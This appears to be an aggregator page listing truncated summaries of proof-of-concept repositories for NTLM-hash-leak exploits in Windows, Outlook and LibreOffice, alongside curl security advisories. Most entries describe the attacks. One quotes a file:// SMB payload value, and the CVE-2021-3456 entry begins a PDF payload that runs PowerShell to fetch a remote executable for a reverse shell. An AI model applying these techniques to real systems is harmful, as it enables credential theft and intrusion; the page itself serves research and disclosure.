CVE-2025-24071

CVE-2025-24071 此 Python 脚本旨在演示 Windows 资源管理器中的 CVE-2025-24071 漏洞。该漏洞允许攻击者无需受害者直接交互即可捕获受害者的 netNTLMv2 凭据。 描述 CVE-2025-24071 漏洞存在于 Windows 处理 ZIP 压缩包内 .library-ms 文件的方式中。当提取包含恶意 .library-ms 文件的 ZIP 文件时，Windows 会自动尝试访问该文件中指定的 SMB 位置，这可能导致受害者的凭据暴露给攻击者的服务器。 此脚本生成一个包含恶意 .library-ms 文件的 ZIP 文件。当受害者提取该 Z...

CVE-2025-24054-PoC

CVE-2025-24054 PoC 一个简单的 CVE-2025-24054 概念验证 – Windows 库 .library-ms NTLM 哈希泄露漏洞。 ⚠️ 仅限教育和授权实验室使用 描述 CVE-2025-24054 允许攻击者通过使用特制的 .library-ms 文件，强制 Windows 系统泄露受害者的 Net-NTLMv2 哈希 。 当受害者解压包含恶意 .library-ms 文件的 ZIP 时，Windows 资源管理器会自动发起 SMB 连接，泄露 NTLM 哈希。 工作原理 1. 攻击者生成一个包含指向其机器的 UNC 路径的恶意 .library-ms...

Email-exploit-Moniker-Link-CVE-2024-21413-

电子邮件漏洞利用 Moniker Link-CVE-2024-21413-Module — 文档 概述： 一个实用的 PoC，演示如何在 HTML 邮件中使用 Moniker Link 触发 Outlook 发起 SMB 连接，从而通过 Responder 捕获受害者的 netNTLMv2 哈希。这展示了在渗透测试、脚本编写和网络协议分析方面的实践技能。 展示的关键技能 使用 Python 脚本自动发送电子邮件 理解 SMB、NTLMv2、LLMNR、NBT-NS 和 MDNS 协议 配置 Responder 并监控以捕获哈希 排查 Linux 网络/DNS 配置问题...

CVE-2023-23397

CVE-2023-23397 概念验证 这是 CVE-2023-23397 的概念验证 PoC 利用脚本，该漏洞存在于 Windows Microsoft Outlook 客户端中。 前提条件 Python 3 pywin32 包 使用方法 Windows 1. 通过运行 pip install pywin32 安装所需的 pywin32 包。 2. 使用以下命令运行脚本：python Exploit.py 。 Kali Linux 1. 通过运行 pip install pywin32 安装所需的 pywin32 包。 2. 在攻击者机器上启动一个 SMB 服务器，例如...

openSUSE 16: curl / curl-fish-completion / curl-zsh-completion / libcurl-devel / etc (openSUSE-SU-2026:21774-1)

The remote openSUSE 16 host has packages installed that are affected by multiple vulnerabilities as referenced in the openSUSE-SU-2026:21774-1 advisory. - CVE-2026-5773: wrong reuse of SMB connection bsc1262633. - CVE-2026-7168: cross-proxy Digest auth state leak bsc1263440. - CVE-2026-8926:...

CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability

CVE-2024-21413 是 Microsoft Outlook 中的一个严重远程代码执行漏洞（受影响的版本包括 Microsoft 365 应用、Outlook 2016/2019、Office LTSC 2021 在 2024 年 2 月补丁之前）。该漏洞允许未认证的攻击者通过发送精心构造的、包含带有感叹号 ! 的 file:// 链接的电子邮件，绕过 Outlook 的受保护视图。当受害者点击该链接（甚至只是预览邮件时），Outlook 会自动尝试连接攻击者的 SMB 服务器，从而泄露受害者的 NetNTLMv2 哈希值。...

CVE-2024-43451-POC

描述 名称 ：CVE-2024-43451 CVSSv3 评分 ：6.5 受影响版本 ：2024年11月补丁之前的所有 Microsoft Windows 版本 CVE-2024-43451 是 Microsoft Windows 中的一个零日漏洞，允许攻击者通过极少的用户交互捕获 NTLMv2 密码哈希值，从而导致凭据被盗。一种常见的利用方法是借助通过 SMB 连接到远程服务器的 NTLM 认证来捕获哈希值。该漏洞已在 2024 年 11 月的更新中得到修补。建议用户应用相关安全更新以降低风险。...

CVE-2023-38146-Poc

ThemeBleed CVE-2023-38146 漏洞利用的 PoC Windows 11 主题 强烈启发自 https://github.com/gabe-k/themebleed，但该工具仅适用于 Windows（这也是我决定编写此工具的原因）。 使用了来自 impacket smbserver.py 的修改代码 https://github.com/fortra/impacket/blob/master/impacket/smbserver.py 有用的资源:...

CVE-2018-10583

CVE-2018-10583 当 LibreOffice 6.0.3 和 Apache OpenOffice Writer 4.1.5 自动处理并启动嵌入在恶意文件中的 SMB 连接时，会发生信息泄露漏洞，如 ".odt XML 文档" 中 "office:document-content" 元素内的 "xlink:href=file://192.168.0.2/test.jpg" 所示。 http://bit.ly/2w9mU1n...

CVE-2026-33829

CVE-2026-33829 本仓库包含一个用Bash编写的自动化工具，旨在以被动且受控的方式审计和验证运行Windows操作系统的资产是否容易受到search:协议处理程序不安全操作的影响。 该脚本充当被动接收器，在目标与特定设计的URI交互时，使用tcpdump捕获通过SMB（端口445）协议的出站连接尝试。 🛠️ 系统要求 验证环境（Linux）： 需要超级用户权限（sudo）并安装tcpdump包。 目标资产（Windows）： 与验证机器直接网络连接。 🚀 使用指南 1. 在Linux机器上准备 克隆此仓库或下载脚本...

CVE-2026-33829-Writeup

CVE-2026-33829 分析报告 漏洞案例研究：CVE-2026-33829（Windows 截图工具 NTLM 强制认证） 执行摘要 本文详细记录了CVE-2026-33829 的技术复现过程，这是现代 Windows 截图工具应用程序框架中的一个信息泄露漏洞。通过滥用自定义 URI 协议处理器中一个未经验证的输入参数，远程主机可以强制未打补丁的 Windows 机器发起出站 SMB 连接，从而导致 Net-NTLMv2 身份验证哈希值通过网络泄露。 URI 方案 —— （Windows 使用自定义协议（如 ms-screensketch:、ms-settings:、file:）...

CVE-2021-3456

CVE-2021-3456 一条从看似无害的 PDF 文件开始，最终在 AWS EC2 实例上获得反向 shell 的实用攻击链 开端：构建 PDF 载荷 一切从攻击的前端开始。利用 PowerShell 内置的 WScript 对象，我们将一段脚本嵌入 PDF 中，该 PDF 将被投递到 Windows 主机。载荷从远程 HTTP 端点拉取一个可执行文件，并将其写入本地文件系统。 $payload = @" var wsh = WScript.CreateObject"WScript.Shell"; wsh.Exec "powershell -NoProfile...

Tenable Security Center < 6.9.0 Multiple Vulnerabilities (TNS-2026-22)

According to its self-reported version, the Tenable Security Center running on the remote host is prior to 6.9.0. It is, therefore, affected by multiple vulnerabilities as referenced in the TNS-2026-22 advisory. - libcurl might in some circumstances reuse the wrong connection for SMBS transfers...

CVE-2026-62960

Git for Windows is the Windows port of Git. Prior to 2.55.0.windows.4, a malicious remote Git server can advertise a bundle URI that reaches transportgetremotebundleuri, fetchbundleuriinternal, and copyuritofile in bundle-uri.c during clone or fetch when transfer.bundleuri=true. Non-HTTPS values...

EulerOS 2.0 SP11 : curl (EulerOS-SA-2026-3063)

According to the versions of the curl packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : When asked to both use a .netrc file for credentials and to follow HTTP redirects, libcurl could leak the password used for the first host to the...

EulerOS 2.0 SP11 : curl (EulerOS-SA-2026-3118)

According to the versions of the curl packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : When asked to both use a .netrc file for credentials and to follow HTTP redirects, libcurl could leak the password used for the first host to the...

EulerOS Virtualization 2.10.0 : curl (EulerOS-SA-2026-2847)

According to the versions of the curl packages installed, the EulerOS Virtualization installation on the remote host is affected by the following vulnerabilities : libcurl might in some circumstances reuse the wrong connection for SMBS transfers.libcurl features a pool of recent connections so th...

EulerOS 2.0 SP10 : curl (EulerOS-SA-2026-2644)

According to the versions of the curl packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : libcurl might in some circumstances reuse the wrong connection for SMBS transfers. libcurl features a pool of recent connections so that subsequent...

EulerOS 2.0 SP10 : curl (EulerOS-SA-2026-2684)

According to the versions of the curl packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : libcurl might in some circumstances reuse the wrong connection for SMBS transfers. libcurl features a pool of recent connections so that subsequent...

SUSE-SU-2026:2703-1 Security update for curl

This update for curl fixes the following issues - CVE-2026-4873: connection reuse ignores TLS requirement bsc1262631. - CVE-2026-5545: wrong reuse of HTTP Negotiate connection bsc1262632. - CVE-2026-5773: wrong reuse of SMB connection bsc1262633. - CVE-2026-6253: proxy credentials leak over...